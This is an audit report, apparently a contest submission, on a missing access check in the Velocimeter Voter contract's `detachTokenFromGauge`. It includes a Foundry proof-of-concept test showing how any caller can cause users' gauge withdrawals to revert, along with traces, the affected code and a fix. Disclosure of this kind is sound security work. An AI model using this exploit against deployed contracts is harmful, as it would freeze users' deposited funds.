Decent Mandarin Pangolin

High

# DoS'ing users' locks and deposits in the gauges by calling detachTokenFromGauge permissionlessly

## Summary
This issue stems from the `detachTokenFromGauge` function being permissionless. Just like another issue that I submitted, the culprit is missing access control modifiers for the `detachTokenFromGauge` function of the `Voter` contract.

However, while the first issue *("Voter.detachTokenFromGauge can be called by anyone and allows bypassing the attachments checks, thus allowing to execute withdrawals on locked tokens")* highlights the attack vector where a malicious actor can withdraw tokens that are expected to be "locked" and **attached** to 1+ gauges, **this issue demonstrates an attack vector where user's deposists can be permanently DoS'ed from being withdrawn due to an underflow error**.

## Vulnerability Detail
Users' positions can get DoS'ed in the `GaugeV4` contract. This will lead to user funds being stuck, disruption of the normal user flow, as well as inability to properly accrue for `totalSupply`s and users' `balanceOf`s and `balanceWithLock`s.

## PoC
Please modify the `PairTest::testGaugeClaimRewards3` function with the following contents to see how fair users can get DoS'ed from withdrawing their locks from the `GaugeV4`:
```solidity
    function testGaugeClaimRewards3() public {
        gaugeClaimRewards2();

        pair.approve(address(gauge), PAIR_1);
        gauge.deposit(PAIR_1, 0);
        FLOW.approve(address(gauge), FLOW.balanceOf(address(owner)));
        gauge.notifyRewardAmount(address(FLOW), FLOW.balanceOf(address(owner)));

        vm.warp(block.timestamp + 604800);
        vm.roll(block.number + 1);
        address[] memory rewards = new address[](1);
        rewards[0] = address(LR);
        gauge.getReward(address(owner), rewards);

        voter.detachTokenFromGauge(1, address(this)); // @@ <<< this is how users can get DoS'ed

        gauge.withdraw(gauge.balanceOf(address(owner)));
    }
```

The logs with `forge test -vvv --match-contract PairTest` will be:
```bash
    ├─ [3518] Voter::detachTokenFromGauge(1, PairTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   ├─ [884] VotingEscrow::detach(1)
    │   │   └─ ← [Stop] 
    │   ├─ emit Detach(owner: PairTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], gauge: PairTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenId: 1)
    │   └─ ← [Stop] 
    ├─ [668] Gauge::balanceOf(PairTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]) [staticcall]
    │   └─ ← [Return] 1000000000 [1e9]
    ├─ [17222] Gauge::withdraw(1000000000 [1e9])
    │   ├─ [3177] Pair::transfer(PairTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 1000000000 [1e9])
    │   │   ├─ emit Transfer(from: Gauge: [0xA02A0858A7B38B1f7F3230FAD136BD895C412CE5], to: PairTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 1000000000 [1e9])
    │   │   └─ ← [Return] true
    │   ├─ [1521] Voter::detachTokenFromGauge(1, PairTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   │   ├─ [730] VotingEscrow::detach(1)
    │   │   │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    │   │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
```

Likewise, `detach`'ing`TokenFromGauge` will cause a revert in the `gaugeClaimRewardsAfterExpiry` function:
```solidity
    function gaugeClaimRewardsAfterExpiry() public {
        gaugeClaimRewards();

        address[] memory rewards = new address[](1);
        rewards[0] = address(FLOW);
        pair.approve(address(gauge), PAIR_1);
        gauge.deposit(PAIR_1, 1);
        gauge.getReward(address(owner), rewards);
        gauge.withdraw(gauge.balanceOf(address(owner)));
        pair.approve(address(gauge), PAIR_1);
        gauge.deposit(PAIR_1, 1);
        gauge.getReward(address(owner), rewards);
        gauge.withdraw(gauge.balanceOf(address(owner)));
        pair.approve(address(gauge), PAIR_1);
        gauge.deposit(PAIR_1, 1);
        gauge.getReward(address(owner), rewards);
        gauge.withdraw(gauge.balanceOf(address(owner)));
        pair.approve(address(gauge), PAIR_1);
        gauge.deposit(PAIR_1, 1);
        gauge.getReward(address(owner), rewards);
        gauge.withdraw(gauge.balanceOf(address(owner)));
        pair.approve(address(gauge), PAIR_1);
        gauge.deposit(PAIR_1, 1);
        gauge.getReward(address(owner), rewards);
        gauge.withdraw(gauge.balanceOf(address(owner)));
        pair.approve(address(gauge), PAIR_1);
        gauge.deposit(PAIR_1, 1);
        gauge.getReward(address(owner), rewards);
        gauge.withdraw(gauge.balanceOf(address(owner)));
        pair.approve(address(gauge), PAIR_1);
        gauge.deposit(PAIR_1, 1);
        gauge.getReward(address(owner), rewards);
        vm.warp(block.timestamp + 604800);
        vm.roll(block.number + 1);
        gauge.getReward(address(owner), rewards);

        voter.detachTokenFromGauge(1, address(owner)); // @@ <<< here's how to trigger a DoS for users' withdrawals

        gauge.withdraw(gauge.balanceOf(address(owner)));
    }
```

## Impact
**DoS, user funds will be stuck in the `GaugeV4` contract.**

## Code Snippet
## Code Snippet
The problem lies in this function:
```solidity
    function detachTokenFromGauge(uint tokenId, address account) external {
        if (tokenId > 0) IVotingEscrow(_ve).detach(tokenId);
        emit Detach(account, msg.sender, tokenId);
    }
```

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/Voter.sol#L445

Unlike `attachTokenToGauge`, it is not permissioned.

Look for contrast at the `attackTokenToGauge` function:
```solidity
    function attachTokenToGauge(uint tokenId, address account) external {
        require(isGauge[msg.sender]);
        require(isAlive[msg.sender]); // killed gauges cannot attach tokens to themselves
        if (tokenId > 0) IVotingEscrow(_ve).attach(tokenId);
        emit Attach(account, msg.sender, tokenId);
    }
```

Through a call to `GaugeV4.deposit`, the `tokenId` is supposed to remain attached until the `GaugeV4.withdraw` is called:
```solidity
    function _deposit(address account, uint amount, uint tokenId) private {
        require(amount > 0);
        _updateRewardForAllTokens();

        _safeTransferFrom(stake, msg.sender, address(this), amount);
        totalSupply += amount;
        balanceOf[account] += amount;

        if (tokenId > 0) {
            require(IVotingEscrow(_ve).ownerOf(tokenId) == account);
            if (tokenIds[account] == 0) {
                tokenIds[account] = tokenId;
                IVoter(voter).attachTokenToGauge(tokenId, account); // @@ <<< take a look here, the tokenId is attached to this gauge
            }
            require(tokenIds[account] == tokenId);
        } else {
            tokenId = tokenIds[account];
        }

        uint _derivedBalance = derivedBalances[account];
        derivedSupply -= _derivedBalance;
        _derivedBalance = derivedBalance(account);
        derivedBalances[account] = _derivedBalance;
        derivedSupply += _derivedBalance;

        _writeCheckpoint(account, _derivedBalance);
        _writeSupplyCheckpoint();

        IVoter(voter).emitDeposit(tokenId, account, amount);
        emit Deposit(account, tokenId, amount);
    }
```
And the `tokenId` is only supposed to be detached during the withdrawal:
```solidity
    function withdrawToken(uint amount, uint tokenId) public lock {
        _updateRewardForAllTokens();

        uint256 totalBalance = balanceOf[msg.sender];
        uint256 lockedAmount = balanceWithLock[msg.sender];
        uint256 freeAmount = totalBalance - lockedAmount;
        // Update lock related mappings when withdraw amount greater than free amount
        if (amount > freeAmount) {
            // Check if lock has expired
            require(block.timestamp >= lockEnd[msg.sender], "The lock didn't expire");
            uint256 newLockedAmount = totalBalance - amount;
            if (newLockedAmount == 0) {
                delete lockEnd[msg.sender];
                delete balanceWithLock[msg.sender];
            } else {
                balanceWithLock[msg.sender] = newLockedAmount;
            }
        }

        totalSupply -= amount;
        balanceOf[msg.sender] -= amount;
        _safeTransfer(stake, msg.sender, amount);

        if (tokenId > 0) {
            require(tokenId == tokenIds[msg.sender]);
            tokenIds[msg.sender] = 0;
            IVoter(voter).detachTokenFromGauge(tokenId, msg.sender); // @@ <<< in reality, the token should only be detached at this stage
        } else {
            tokenId = tokenIds[msg.sender];
        }

        uint _derivedBalance = derivedBalances[msg.sender];
        derivedSupply -= _derivedBalance;
        _derivedBalance = derivedBalance(msg.sender);
        derivedBalances[msg.sender] = _derivedBalance;
        derivedSupply += _derivedBalance;

        _writeCheckpoint(msg.sender, derivedBalances[msg.sender]);
        _writeSupplyCheckpoint();

        IVoter(voter).emitWithdraw(tokenId, msg.sender, amount);
        emit Withdraw(msg.sender, tokenId, amount);
    }
```

The ability to manually and permissionlessly detach a `tokenId` from a gauge that it was attached to allows the attacker to withdraw his `tokenId` from the `VotingEscrow` and bypass its checks related to the attachments:
```solidity
    function withdraw(uint _tokenId) external nonreentrant {
        assert(_isApprovedOrOwner(msg.sender, _tokenId));
        require(attachments[_tokenId] == 0 && !voted[_tokenId], "attached"); // @@ <<< the attachments check can be bypassed

        LockedBalance memory _locked = locked[_tokenId];
        require(block.timestamp >= _locked.end, "The lock didn't expire");
        uint value = uint(int256(_locked.amount));

        locked[_tokenId] = LockedBalance(0,0);
        uint supply_before = supply;
        supply = supply_before - value;

        // old_locked can have either expired <= timestamp or zero end
        // _locked has only 0 end
        // Both can have >= 0 amount
        _checkpoint(_tokenId, _locked, LockedBalance(0,0));

        assert(IERC20(lpToken).transfer(msg.sender, value));

        // Burn the NFT
        _burn(_tokenId);

        emit Withdraw(msg.sender, _tokenId, value, block.timestamp);
        emit Supply(supply_before, supply_before - value);
    }
```

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L956

## Tool used
Manual human review.

## Recommendation
To prevent both the first issue with incorrect rewards accrual and checkpoints, and to prevent the users' funds DoS, add the following access control assertions:
```diff
    function detachTokenFromGauge(uint tokenId, address account) external {
+      require(isGauge[msg.sender]);
+      require(isAlive[msg.sender]); // killed gauges cannot attach tokens to themselves
        if (tokenId > 0) IVotingEscrow(_ve).detach(tokenId);
        emit Detach(account, msg.sender, tokenId);
    }
```